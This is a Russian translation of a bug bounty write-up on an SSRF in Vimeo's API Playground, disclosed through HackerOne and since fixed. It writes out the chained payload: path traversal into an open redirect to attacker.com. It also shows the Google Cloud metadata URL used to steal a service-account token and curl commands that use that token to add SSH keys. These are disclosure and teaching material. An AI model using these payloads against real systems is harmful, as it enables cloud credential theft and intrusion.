Статья Как я нашел SSRF-уязвимость в Vimeo с потенциалом выполнения кода

[tabac]

Недавно я обнаружил на Vimeo SSRF с возможностью выполнения кода. В этой статье я объясню, как нашел этот самый Server Side Request Forgery (SSRF). Итак, начнем.


Предыстория
Vimeo дает возможность использовать API-консоль для своего API, называемого API Playground . Запросы, сделанные с помощью этого веб-приложения, выполняются со стороны сервера. Возьмем приведенный ниже запрос в качестве примера.Базовый запрос:

Этот запрос должен переделать GET на стороне сервера на:

https://api.vimeo.com/users/{user_id}/videos/{video_id}

Если вы внимательно присмотритесь к запросу, мы здесь вполне контролируем некоторые вещи. Сначала параметр uri, который является финальной точкой для достижения конечной цели, т.е. в данном случае /users/{user_id}/videos/{video_id}, метод запроса, т.е. в этом случае устанавливается значение GET, параметры которого должны быть параметрами, если метод запроса POST. user_id & video_id - это разновидности переменных, значения которых определяются в параметре segments.


Обход пути (Path traversal) в HTTP-запросах на стороне сервера
Сначала я попытался изменить параметр URI на свой, однако все время сталкивался с тем, что любое изменение в URI приводит к 403 ошибке. Это означает, что они разрешают установку точек API. Однако изменение значений переменных, таких как user_id & videos_id возможно, потому что эти значения отражаются в URL. То есть вызов ../../../ приведет к получению ROOT'а на api.vimeo.com
Ниже показано, как именно это происходит:

URL.parse(“https://api.vimeo.com/users/1122/videos/../../../attacker”)

Результат:

https://api.vimeo.com/attacker

Обход пути (Path traversal) в HTTP-запросах на стороне сервера

Как вы можете видеть в ответе сервера, если мы сделаем запрос с аутентификацией на api.vimeo.com, мы получим желаемый результат. Запрос нужно делать с авторизационным заголовком.


Что теперь?
Мы все еще на хосте api.vimeo.com, как нам повысить права?
Долгая история, подключил чуйку и логическое мышление, но в итоге я таки решил, что он перенаправляет HTTP 30X редиректы. И оказался прав.


Старое доброе исследование контента

https://api.vimeo.com/m/something

api.vimeo.com - в vimeo.com

Круто, теперь у нас есть широкие возможности для поиска открытого редиректа, у меня есть не очень полезный открытый редирект на vimeo.com, я не буду раскрывать детали, давайте просто предположим, что это что-то вроде этого

https://vimeo/vulnerable/open/redirect?url=https://attacker.com

Он совершает 302 редирект на attacker.com


Цепочка завершена
Финальный payload, чтобы перенаправить сервер на наш контролируемый хост:

../../../m/vulnerable/open/redirect?url=https://attacker.com

Передача этого значения в video_id преобразует URL таким образом

https://api.vimeo.com/users/1122/videos/../../../m/vulnerable/open/redirect?url=https://attacker.com

Который становится

https://api.vimeo.com/m/vulnerable/open/redirect?url=https://attacker.com

HTTP-редирект готов:

https://vimeo.com/vulnerable/open/redirect?url=https://attacker.com

Другой редирект тоже готов:

https://attacker.com

SSRF выполнен, Отредактированы сведения, касающиеся открытого перенаправления и моего домена.

Сервер ожидает ответ JSON, анализирует его и показывает в ответ.

Эксплуатация
Поскольку инфраструктура Vimeo находится в облаке Google, моей первой попыткой было использование API метаданных Google. Я следовал подходу 0xacb

Такой подход дает возможность нам получить токен учетной записи.

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

{ “headers”: [ “HTTP/1.1 200”, “Content-Type: application/json”, “Host: api.vimeo.com” ], “code”: 200, “body”: { “access_token”: “ya29.c.EmKeBq9XXDWtXXXXXXXXecIkeR0dFkGT0rJSA”, “expires_in”: 2631, “token_type”: “Bearer” } }

Возможности токена

$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA

Ответ:

{ "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" }

Я мог бы использовать этот токен, чтобы добавить свой открытый ключ SSH к экземпляру, а потом подключиться через мой закрытый ключ.

$ curl -X POST “https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H “Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA” -H “Content-Type: application/json” — data ‘{“items”: [{“key”: “harsh-bugdiscloseguys”, “value”: “harsh-ssrf”}]}

Ответ:

{ “kind”: “compute#operation”, “id”: “63228127XXXXXX”, “name”: “operation-XXXXXXXXXXXXXXXXXX”, “operationType”: “compute.projects.setCommonInstanceMetadata”, “targetLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX", “targetId”: “10423XXXXXXXX”, “status”: “RUNNING”, “user”: “10423XXXXXXXX-compute@developer.gserviceaccount.com”, “progress”: 0, “insertTime”: “2019–01–27T15:50:11.598–08:00”, “startTime”: “2019–01–27T15:50:11.599–08:00”, “selfLink”: “https://www.googleapis.com/compute/v1/projects/vimeo-XXXXX/global/operations/operation-XXXXXX"}

А также…

Ключи добавлены

Однако SSH-порт был открыт только во внутренней сети: ( Но этого было достаточно, чтобы доказать уязвимость и теоретическую возможность получения шелла

Ключи от Kubernetes я также смог извлечь из метаданных в API, но по какой-то причине я не смог их использовать, хотя команда Vimeo потом уже подтвердила, что они действительны.

Вот и все, ребята. Надеюсь тебе понравилось.


WWW

Airbnb – Chaining Third-Party Open Redirect into Server-Side Request Forgery (SSRF) via LivePerson Chat | Brett Buerhaus

buer.haus

Как меня отблагодарил Vimeo?
Временные рамки выглядели так:
28 января, раннее утро: изначально я нашел баг
28 января: принято на HackerOne
28 января: команда Vimeo временно исправила ситуацию и прислала мне в качестве благодарности 100$
30/31 января: Vimeo фиксят баг уже полноценно
1 февраля: мне прислали благодарность 4900$


Автор: Harsh Jaiswal
Источник: https://xss.pro
Перевод статьи: tabac